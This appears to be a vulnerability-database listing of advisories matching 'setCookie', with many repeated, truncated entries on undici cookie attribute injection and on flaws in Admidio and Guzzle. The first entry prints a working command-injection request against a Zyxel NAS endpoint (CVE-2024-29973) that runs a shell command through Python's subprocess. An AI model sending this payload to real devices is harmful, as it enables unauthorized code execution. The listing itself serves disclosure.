CVE-2024-29973

CVE-2024-29973 GET /cmd,/simZysh/registermain/setCookie?c0=storageextcgi+CGIGetExtStoInfo+None+and+False+or+import"subprocess".checkoutput"id",+shell=True%23 HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept: / Accept-Language: en-US,en;q=0...

CLEANSTART-2026-RE18150 undici's setCookie function does not fully sanitize cookie attributes

CVE-2026-16729 affects multiple packages. undici's setCookie function does not fully sanitize cookie attributes. See references for individual vulnerability details...

CLEANSTART-2026-US73537 undici's setCookie function does not fully sanitize cookie attributes

Security vulnerability affects the langfuse package. undici's setCookie function does not fully sanitize cookie attributes...

PT-2026-108550

Security vulnerability affects the langfuse package. undici's setCookie function does not fully sanitize cookie attributes...

CVE-2026-47234 Admidio writes session IDs and auto-login cookie values to application logs

Admidio is an open-source user management solution. Prior to version 5.0.10, when debug logging is enabled, Session::setCookie logs full cookie values and Session::start logs the current session ID. In a real Admidio deployment this includes both the active session cookie and the persistent...

CVE-2026-47234: Exposure of Sensitive Information to an Unauthorized Actor

Admidio is an open-source user management solution. Prior to version 5.0.10, when debug logging is enabled, Session::setCookie logs full cookie values and Session::start logs the current session ID. In a real Admidio deployment this includes both the active session cookie and the persistent...

Cookie Attribute Injection

undici is vulnerable to cookie attribute injection. The vulnerability is due to insufficient sanitization of cookie domain and unparsed values in setCookie, allowing attacker-controlled input to inject or override cookie attributes such as SameSite, Secure, and HttpOnly, potentially weakening...

Incorrect Behavior Order: Validate Before Canonicalize

Overview Affected versions of this package are vulnerable to Incorrect Behavior Order: Validate Before Canonicalize in the SetCookie::matchesDomain. An attacker can gain unauthorized access to sensitive information or manipulate session state by exploiting noncanonical domain representations in...

SUSE CVE-2026-16729

undici's setCookie function does not fully sanitize cookie attributes. In undici before 6.28.0, from 7.0.0 up to before 7.29.0, and from 8.0.0 up to before 8.9.0, a domain value is not checked for semicolons and entries in the unparsed array are not sanitized, so attacker-influenced input can...

GHSA-V3R7-H72X-CJCM undici vulnerable to cookie attribute injection via unsanitized domain and unparsed setCookie fields

Impact The setCookie function has two attribute injection paths. validateCookieDomain does not reject semicolons validateCookiePath already does at 0x3B, so a domain value like example.com; SameSite=None lands verbatim as Domain=example.com; SameSite=None. The unparsed array's loop only checks ea...

undici vulnerable to cookie attribute injection via unsanitized domain and unparsed setCookie fields

Impact The setCookie function has two attribute injection paths. validateCookieDomain does not reject semicolons validateCookiePath already does at 0x3B, so a domain value like example.com; SameSite=None lands verbatim as Domain=example.com; SameSite=None. The unparsed array's loop only checks ea...

EUVD-2026-50416

undici vulnerable to cookie attribute injection via unsanitized domain and unparsed setCookie fields...

CVE-2026-69245: Incorrect Behavior Order: Validate Before Canonicalize

Guzzle is an extensible PHP HTTP client. Prior to 7.15.2 and 8.0.1, SetCookie::matchesDomain gives every subdomain of a cookie Domain that cookie unless SetCookie::matchesDomain recognizes the Domain as an IP literal or a numeric host, and the decision comes from the domain's own text, so two...

undici: Undici: Cookie attribute injection allows bypassing security protections

A flaw was found in undici, where its setCookie function does not fully sanitize cookie attributes. A remote attacker could exploit this by providing specially crafted input to the domain or unparsed fields, leading to the injection of additional cookie attributes. This vulnerability can allow an...

AZL-94443 CVE-2026-16729 affecting package nodejs 24.21.0-1

undici's setCookie function does not fully sanitize cookie attributes. In undici before 6.28.0, from 7.0.0 up to before 7.29.0, and from 8.0.0 up to before 8.9.0, a domain value is not checked for semicolons and entries in the unparsed array are not sanitized, so attacker-influenced input can...

UBUNTU-CVE-2026-16729

undici's setCookie function does not fully sanitize cookie attributes. In undici before 6.28.0, from 7.0.0 up to before 7.29.0, and from 8.0.0 up to before 8.9.0, a domain value is not checked for semicolons and entries in the unparsed array are not sanitized, so attacker-influenced input can...

CVE-2026-16729

undici's setCookie function does not fully sanitize cookie attributes. In undici before 6.28.0, from 7.0.0 up to before 7.29.0, and from 8.0.0 up to before 8.9.0, a domain value is not checked for semicolons and entries in the unparsed array are not sanitized, so attacker-influenced input can...

CVE-2026-16729

undici vulnerable to cookie attribute injection via unsanitized domain and unparsed setCookie fields. In undici

CVE-2026-16729 undici vulnerable to cookie attribute injection via unsanitized domain and unparsed setCookie fields

undici's setCookie function does not fully sanitize cookie attributes. In undici before 6.28.0, from 7.0.0 up to before 7.29.0, and from 8.0.0 up to before 8.9.0, a domain value is not checked for semicolons and entries in the unparsed array are not sanitized, so attacker-influenced input can...

CVE-2026-16729 undici vulnerable to cookie attribute injection via unsanitized domain and unparsed setCookie fields

undici's setCookie function does not fully sanitize cookie attributes. In undici before 6.28.0, from 7.0.0 up to before 7.29.0, and from 8.0.0 up to before 8.9.0, a domain value is not checked for semicolons and entries in the unparsed array are not sanitized, so attacker-influenced input can...